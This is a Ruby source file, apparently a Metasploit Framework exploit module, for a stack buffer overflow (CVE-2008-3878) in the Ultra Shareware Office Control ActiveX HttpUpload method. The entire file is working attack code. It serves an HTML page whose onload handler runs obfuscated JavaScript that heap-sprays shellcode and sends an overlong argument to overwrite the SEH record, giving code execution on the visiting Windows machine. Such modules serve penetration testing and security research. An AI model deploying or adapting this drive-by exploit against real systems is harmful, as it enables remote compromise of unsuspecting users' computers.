148 lines
3.7 KiB
Ruby
148 lines
3.7 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Ultra Shareware Office Control ActiveX HttpUpload Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in Ultra Shareware's Office
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Control. When processing the 'HttpUpload' method, the arguments are concatenated
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together to form a command line to run a bundled version of cURL. If the command
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fails to run, a stack-based buffer overflow occurs when building the error
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message. This is due to the use of sprintf() without proper bounds checking.
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NOTE: Due to input restrictions, this exploit uses a heap-spray to get the payload
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into memory unmodified.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'shinnai', 'jduck' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2008-3878' ],
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[ 'OSVDB', '47866' ],
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[ 'BID', '30861' ],
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[ 'URL', 'http://www.exploit-db.com/exploits/6318' ]
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],
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'Payload' =>
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{
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'Space' => 4096,
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'BadChars' => "\x00",
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# For HttpUpload args: "\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f",
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'DisableNops' => true
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Tested with ActiveX v2.0.0.1020 and v2.0.2008.801
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[ 'Windows Universal',
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{
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'Ret' => 0x0c0c0c0c # heap sprayed
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# 0x746C15A9 # p/p/r in msls31.dll
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# EEK, Safe SEH! 0x220118c2 # p/p/r in OfficeCtrl.ocx
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}
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Aug 27 2008'))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# ActiveX parameters
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progid = "Ultra.OfficeControl"
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clsid = "00989888-BB72-4E31-A7C6-5F819C24D2F7"
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# Set parameters
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fnname = rand_text_alpha(8+rand(8))
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arg1 = rand_text_alphanumeric(128)
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arg2 = rand_text_alphanumeric(4096) * 10
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seh_offset = 252
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# Build the exploit buffer
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sploit = rand_text_alphanumeric(seh_offset)
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sploit << generate_seh_record(target.ret)
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# Encode variables
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sploit = Rex::Text.to_hex(sploit, '%')
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Prepare the heap spray parameters
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spray_addr = target.ret
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spray_num = "0x%x" % spray_addr
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# Generate the final javascript
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js = %Q|
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function #{fnname}()
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{
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try {
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var obj = new ActiveXObject("#{progid}");
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var my_unescape = unescape;
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var shellcode = '#{shellcode}';
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#{js_heap_spray}
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sprayHeap(my_unescape(shellcode), #{spray_num}, 0x40000);
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var arg1 = my_unescape("#{arg1}");
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var arg2 = my_unescape("#{arg2}");
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var sploit = my_unescape("#{sploit}");
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obj.HttpUpload(arg1, arg2, sploit);
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} catch( e ) { window.location = 'about:blank' ; }
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}
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# Obfuscate the javascript
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opts = {
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'Strings' => true,
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'Symbols' => {
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'Variables' => %w{ obj my_unescape shellcode arg1 arg2 sploit }
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}
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}
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js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
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js.obfuscate()
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# Build the final HTML
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content = %Q|<html>
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<head>
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<script language=javascript>
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#{js}
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</script>
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</head>
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<body onload="#{fnname}()">
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Please wait...
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</body>
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</html>
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print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
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send_response_html(cli, content)
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handler(cli)
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end
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end
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